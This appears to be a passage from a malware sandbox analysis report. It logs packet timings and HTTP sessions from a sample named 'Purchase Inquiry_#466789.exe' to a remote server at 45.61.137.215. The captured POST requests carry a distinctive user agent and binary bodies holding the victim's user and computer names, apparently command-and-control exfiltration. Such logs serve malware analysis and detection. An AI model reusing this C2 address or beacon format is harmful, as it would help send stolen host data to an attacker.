May 27, 2024 08:33:44.488650084 CEST	80	49782	45.61.137.215	192.168.2.4
May 27, 2024 08:33:44.488672972 CEST	49782	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:44.488713980 CEST	49782	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:44.494172096 CEST	80	49782	45.61.137.215	192.168.2.4
May 27, 2024 08:33:44.494223118 CEST	80	49782	45.61.137.215	192.168.2.4
May 27, 2024 08:33:44.494260073 CEST	49782	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:44.494261026 CEST	80	49782	45.61.137.215	192.168.2.4
May 27, 2024 08:33:44.494282961 CEST	49782	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:44.494314909 CEST	49782	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:46.666873932 CEST	49783	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:46.671927929 CEST	80	49783	45.61.137.215	192.168.2.4
May 27, 2024 08:33:46.672034025 CEST	49783	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:46.674160957 CEST	49783	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:46.679001093 CEST	80	49783	45.61.137.215	192.168.2.4
May 27, 2024 08:33:46.679063082 CEST	49783	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:46.683929920 CEST	80	49783	45.61.137.215	192.168.2.4
May 27, 2024 08:33:48.828109026 CEST	80	49783	45.61.137.215	192.168.2.4
May 27, 2024 08:33:48.828167915 CEST	80	49783	45.61.137.215	192.168.2.4
May 27, 2024 08:33:48.828203917 CEST	80	49783	45.61.137.215	192.168.2.4
May 27, 2024 08:33:48.828236103 CEST	80	49783	45.61.137.215	192.168.2.4
May 27, 2024 08:33:48.828239918 CEST	49783	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:48.828272104 CEST	80	49783	45.61.137.215	192.168.2.4
May 27, 2024 08:33:48.828303099 CEST	49783	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:48.828305960 CEST	80	49783	45.61.137.215	192.168.2.4
May 27, 2024 08:33:48.828341007 CEST	80	49783	45.61.137.215	192.168.2.4
May 27, 2024 08:33:48.828351021 CEST	49783	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:48.828375101 CEST	80	49783	45.61.137.215	192.168.2.4
May 27, 2024 08:33:48.828412056 CEST	80	49783	45.61.137.215	192.168.2.4
May 27, 2024 08:33:48.828422070 CEST	49783	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:48.828448057 CEST	80	49783	45.61.137.215	192.168.2.4
May 27, 2024 08:33:48.828499079 CEST	49783	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:48.830203056 CEST	49783	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:48.833673954 CEST	80	49783	45.61.137.215	192.168.2.4
May 27, 2024 08:33:48.833723068 CEST	80	49783	45.61.137.215	192.168.2.4
May 27, 2024 08:33:48.833741903 CEST	49783	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:48.833759069 CEST	80	49783	45.61.137.215	192.168.2.4
May 27, 2024 08:33:48.833770990 CEST	49783	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:48.833806992 CEST	49783	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:49.374277115 CEST	49784	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:49.379394054 CEST	80	49784	45.61.137.215	192.168.2.4
May 27, 2024 08:33:49.379559040 CEST	49784	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:49.414221048 CEST	49784	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:49.419282913 CEST	80	49784	45.61.137.215	192.168.2.4
May 27, 2024 08:33:49.419390917 CEST	49784	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:49.424542904 CEST	80	49784	45.61.137.215	192.168.2.4
May 27, 2024 08:33:51.596375942 CEST	80	49784	45.61.137.215	192.168.2.4
May 27, 2024 08:33:51.596431017 CEST	80	49784	45.61.137.215	192.168.2.4
May 27, 2024 08:33:51.596467972 CEST	80	49784	45.61.137.215	192.168.2.4
May 27, 2024 08:33:51.596502066 CEST	49784	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:51.596506119 CEST	80	49784	45.61.137.215	192.168.2.4
May 27, 2024 08:33:51.596540928 CEST	80	49784	45.61.137.215	192.168.2.4
May 27, 2024 08:33:51.596554041 CEST	49784	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:51.596575975 CEST	80	49784	45.61.137.215	192.168.2.4
May 27, 2024 08:33:51.596609116 CEST	49784	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:51.596609116 CEST	80	49784	45.61.137.215	192.168.2.4
May 27, 2024 08:33:51.596632957 CEST	49784	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:51.596642971 CEST	80	49784	45.61.137.215	192.168.2.4
May 27, 2024 08:33:51.596658945 CEST	49784	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:51.596676111 CEST	80	49784	45.61.137.215	192.168.2.4
May 27, 2024 08:33:51.596694946 CEST	49784	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:51.596712112 CEST	80	49784	45.61.137.215	192.168.2.4
May 27, 2024 08:33:51.596724033 CEST	49784	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:51.596760035 CEST	49784	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:51.604350090 CEST	80	49784	45.61.137.215	192.168.2.4
May 27, 2024 08:33:51.604386091 CEST	80	49784	45.61.137.215	192.168.2.4
May 27, 2024 08:33:51.604420900 CEST	80	49784	45.61.137.215	192.168.2.4
May 27, 2024 08:33:51.604433060 CEST	49784	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:51.604456902 CEST	80	49784	45.61.137.215	192.168.2.4
May 27, 2024 08:33:51.604492903 CEST	49784	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:51.604569912 CEST	49784	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:51.754518032 CEST	49785	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:51.760057926 CEST	80	49785	45.61.137.215	192.168.2.4
May 27, 2024 08:33:51.760379076 CEST	49785	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:51.763360977 CEST	49785	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:51.768547058 CEST	80	49785	45.61.137.215	192.168.2.4
May 27, 2024 08:33:51.768748045 CEST	49785	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:51.774265051 CEST	80	49785	45.61.137.215	192.168.2.4
May 27, 2024 08:33:53.890676975 CEST	80	49785	45.61.137.215	192.168.2.4
May 27, 2024 08:33:53.890734911 CEST	80	49785	45.61.137.215	192.168.2.4
May 27, 2024 08:33:53.890774965 CEST	80	49785	45.61.137.215	192.168.2.4
May 27, 2024 08:33:53.890790939 CEST	49785	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:53.890809059 CEST	80	49785	45.61.137.215	192.168.2.4
May 27, 2024 08:33:53.890844107 CEST	80	49785	45.61.137.215	192.168.2.4
May 27, 2024 08:33:53.890877008 CEST	80	49785	45.61.137.215	192.168.2.4
May 27, 2024 08:33:53.890918016 CEST	80	49785	45.61.137.215	192.168.2.4
May 27, 2024 08:33:53.890949965 CEST	80	49785	45.61.137.215	192.168.2.4
May 27, 2024 08:33:53.890984058 CEST	80	49785	45.61.137.215	192.168.2.4
May 27, 2024 08:33:53.891123056 CEST	49785	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:53.891123056 CEST	49785	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:53.891123056 CEST	49785	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:53.891475916 CEST	80	49785	45.61.137.215	192.168.2.4
May 27, 2024 08:33:53.891541004 CEST	49785	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:53.896030903 CEST	80	49785	45.61.137.215	192.168.2.4
May 27, 2024 08:33:53.896117926 CEST	80	49785	45.61.137.215	192.168.2.4
May 27, 2024 08:33:53.896152020 CEST	80	49785	45.61.137.215	192.168.2.4
May 27, 2024 08:33:53.896187067 CEST	80	49785	45.61.137.215	192.168.2.4
May 27, 2024 08:33:53.896950960 CEST	49785	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:53.903403997 CEST	49785	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:54.077322006 CEST	49786	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:54.082592010 CEST	80	49786	45.61.137.215	192.168.2.4
May 27, 2024 08:33:54.082803011 CEST	49786	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:54.084475994 CEST	49786	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:54.089745045 CEST	80	49786	45.61.137.215	192.168.2.4
May 27, 2024 08:33:54.089946032 CEST	49786	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:54.095293045 CEST	80	49786	45.61.137.215	192.168.2.4
May 27, 2024 08:33:56.281068087 CEST	80	49786	45.61.137.215	192.168.2.4
May 27, 2024 08:33:56.281119108 CEST	80	49786	45.61.137.215	192.168.2.4
May 27, 2024 08:33:56.281152964 CEST	80	49786	45.61.137.215	192.168.2.4
May 27, 2024 08:33:56.281188011 CEST	80	49786	45.61.137.215	192.168.2.4
May 27, 2024 08:33:56.281220913 CEST	80	49786	45.61.137.215	192.168.2.4
May 27, 2024 08:33:56.281254053 CEST	80	49786	45.61.137.215	192.168.2.4
May 27, 2024 08:33:56.281313896 CEST	80	49786	45.61.137.215	192.168.2.4
May 27, 2024 08:33:56.281347990 CEST	80	49786	45.61.137.215	192.168.2.4
May 27, 2024 08:33:56.281383038 CEST	80	49786	45.61.137.215	192.168.2.4
May 27, 2024 08:33:56.281414032 CEST	49786	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:56.281420946 CEST	80	49786	45.61.137.215	192.168.2.4
May 27, 2024 08:33:56.281414032 CEST	49786	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:56.281414032 CEST	49786	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:56.281414032 CEST	49786	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:56.281414032 CEST	49786	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:56.281414032 CEST	49786	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:56.281513929 CEST	49786	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:56.281513929 CEST	49786	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:56.286700964 CEST	80	49786	45.61.137.215	192.168.2.4
May 27, 2024 08:33:56.286748886 CEST	80	49786	45.61.137.215	192.168.2.4
May 27, 2024 08:33:56.286786079 CEST	80	49786	45.61.137.215	192.168.2.4
May 27, 2024 08:33:56.286917925 CEST	49786	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:56.286989927 CEST	49786	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:56.286989927 CEST	49786	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:56.429735899 CEST	49787	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:56.435226917 CEST	80	49787	45.61.137.215	192.168.2.4
May 27, 2024 08:33:56.435332060 CEST	49787	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:56.437118053 CEST	49787	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:56.442668915 CEST	80	49787	45.61.137.215	192.168.2.4
May 27, 2024 08:33:56.442873955 CEST	49787	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:56.448033094 CEST	80	49787	45.61.137.215	192.168.2.4
May 27, 2024 08:33:58.544697046 CEST	80	49787	45.61.137.215	192.168.2.4
May 27, 2024 08:33:58.544756889 CEST	80	49787	45.61.137.215	192.168.2.4
May 27, 2024 08:33:58.544794083 CEST	80	49787	45.61.137.215	192.168.2.4
May 27, 2024 08:33:58.544826984 CEST	80	49787	45.61.137.215	192.168.2.4
May 27, 2024 08:33:58.544861078 CEST	80	49787	45.61.137.215	192.168.2.4
May 27, 2024 08:33:58.544895887 CEST	80	49787	45.61.137.215	192.168.2.4
May 27, 2024 08:33:58.544930935 CEST	80	49787	45.61.137.215	192.168.2.4
May 27, 2024 08:33:58.544965029 CEST	80	49787	45.61.137.215	192.168.2.4
May 27, 2024 08:33:58.545000076 CEST	80	49787	45.61.137.215	192.168.2.4
May 27, 2024 08:33:58.545037031 CEST	80	49787	45.61.137.215	192.168.2.4
May 27, 2024 08:33:58.545067072 CEST	49787	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:58.545067072 CEST	49787	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:58.545067072 CEST	49787	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:58.545300961 CEST	49787	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:58.545300961 CEST	49787	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:58.545300961 CEST	49787	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:58.545300961 CEST	49787	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:58.550333977 CEST	80	49787	45.61.137.215	192.168.2.4
May 27, 2024 08:33:58.550381899 CEST	80	49787	45.61.137.215	192.168.2.4
May 27, 2024 08:33:58.550421953 CEST	80	49787	45.61.137.215	192.168.2.4
May 27, 2024 08:33:58.550494909 CEST	49787	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:58.550626040 CEST	49787	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:58.550626040 CEST	49787	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:58.689997911 CEST	49788	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:58.694993019 CEST	80	49788	45.61.137.215	192.168.2.4
May 27, 2024 08:33:58.695069075 CEST	49788	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:58.696744919 CEST	49788	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:58.701751947 CEST	80	49788	45.61.137.215	192.168.2.4
May 27, 2024 08:33:58.701946974 CEST	49788	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:58.706835985 CEST	80	49788	45.61.137.215	192.168.2.4
May 27, 2024 08:34:00.846537113 CEST	80	49788	45.61.137.215	192.168.2.4
May 27, 2024 08:34:00.846615076 CEST	80	49788	45.61.137.215	192.168.2.4
May 27, 2024 08:34:00.846651077 CEST	80	49788	45.61.137.215	192.168.2.4
May 27, 2024 08:34:00.846683979 CEST	80	49788	45.61.137.215	192.168.2.4
May 27, 2024 08:34:00.846719027 CEST	80	49788	45.61.137.215	192.168.2.4
May 27, 2024 08:34:00.846752882 CEST	80	49788	45.61.137.215	192.168.2.4
May 27, 2024 08:34:00.846785069 CEST	80	49788	45.61.137.215	192.168.2.4
May 27, 2024 08:34:00.846826077 CEST	49788	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:00.846826077 CEST	49788	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:00.846826077 CEST	49788	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:00.846916914 CEST	80	49788	45.61.137.215	192.168.2.4
May 27, 2024 08:34:00.846930981 CEST	49788	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:00.846971989 CEST	49788	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:00.846988916 CEST	80	49788	45.61.137.215	192.168.2.4
May 27, 2024 08:34:00.847017050 CEST	80	49788	45.61.137.215	192.168.2.4
May 27, 2024 08:34:00.847038984 CEST	49788	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:00.847067118 CEST	49788	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:00.852139950 CEST	80	49788	45.61.137.215	192.168.2.4
May 27, 2024 08:34:00.852189064 CEST	80	49788	45.61.137.215	192.168.2.4
May 27, 2024 08:34:00.852226973 CEST	80	49788	45.61.137.215	192.168.2.4
May 27, 2024 08:34:00.852257013 CEST	80	49788	45.61.137.215	192.168.2.4
May 27, 2024 08:34:00.852349043 CEST	49788	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:00.852349043 CEST	49788	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:00.852349043 CEST	49788	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:00.852349043 CEST	49788	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:00.999726057 CEST	49789	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:01.006067991 CEST	80	49789	45.61.137.215	192.168.2.4
May 27, 2024 08:34:01.006486893 CEST	49789	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:01.009453058 CEST	49789	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:01.014626980 CEST	80	49789	45.61.137.215	192.168.2.4
May 27, 2024 08:34:01.015026093 CEST	49789	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:01.020028114 CEST	80	49789	45.61.137.215	192.168.2.4
May 27, 2024 08:34:03.114726067 CEST	80	49789	45.61.137.215	192.168.2.4
May 27, 2024 08:34:03.114890099 CEST	80	49789	45.61.137.215	192.168.2.4
May 27, 2024 08:34:03.114929914 CEST	80	49789	45.61.137.215	192.168.2.4
May 27, 2024 08:34:03.114984035 CEST	80	49789	45.61.137.215	192.168.2.4
May 27, 2024 08:34:03.115020037 CEST	49789	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:03.115053892 CEST	49789	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:03.115087986 CEST	80	49789	45.61.137.215	192.168.2.4
May 27, 2024 08:34:03.115134954 CEST	80	49789	45.61.137.215	192.168.2.4
May 27, 2024 08:34:03.115168095 CEST	80	49789	45.61.137.215	192.168.2.4
May 27, 2024 08:34:03.115195990 CEST	49789	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:03.115225077 CEST	80	49789	45.61.137.215	192.168.2.4
May 27, 2024 08:34:03.115256071 CEST	80	49789	45.61.137.215	192.168.2.4
May 27, 2024 08:34:03.115293980 CEST	49789	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:03.115317106 CEST	80	49789	45.61.137.215	192.168.2.4
May 27, 2024 08:34:03.115441084 CEST	49789	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:03.120318890 CEST	80	49789	45.61.137.215	192.168.2.4
May 27, 2024 08:34:03.120405912 CEST	80	49789	45.61.137.215	192.168.2.4
May 27, 2024 08:34:03.120441914 CEST	80	49789	45.61.137.215	192.168.2.4
May 27, 2024 08:34:03.120476961 CEST	49789	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:03.120521069 CEST	80	49789	45.61.137.215	192.168.2.4
May 27, 2024 08:34:03.120568991 CEST	49789	80	192.168.2.4	45.61.137.215
May 27, 2024 08:34:03.160136938 CEST	49789	80	192.168.2.4	45.61.137.215

HTTP Request Dependency Graph

45.61.137.215

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:00.314606905 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 176 Connection: close
May 27, 2024 08:32:00.319683075 CEST	176	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.rujones675052JONES-PCk0FDD42EE188E931437F4FBE2CaPjRH
May 27, 2024 08:32:02.352104902 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:00 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:02.352180958 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:32:02.352236032 CEST	448	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:32:02.352271080 CEST	1236	IN	Data Raw: 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 Data Ascii: "DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.support
May 27, 2024 08:32:02.352305889 CEST	1236	IN	Data Raw: 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d Data Ascii: pemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);/* ... */</script><style id='wp-emoji-styles-inline-css' type='text/css'>img.wp-smiley, img.emoji {display: inline !important;border: no
May 27, 2024 08:32:02.352339029 CEST	448	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 23 66 66 36 39 30 30 3b 2d 2d 77 Data Ascii: -color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color
May 27, 2024 08:32:02.352375031 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:32:02.352410078 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:32:02.352446079 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:32:02.352482080 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:03.034243107 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 176 Connection: close
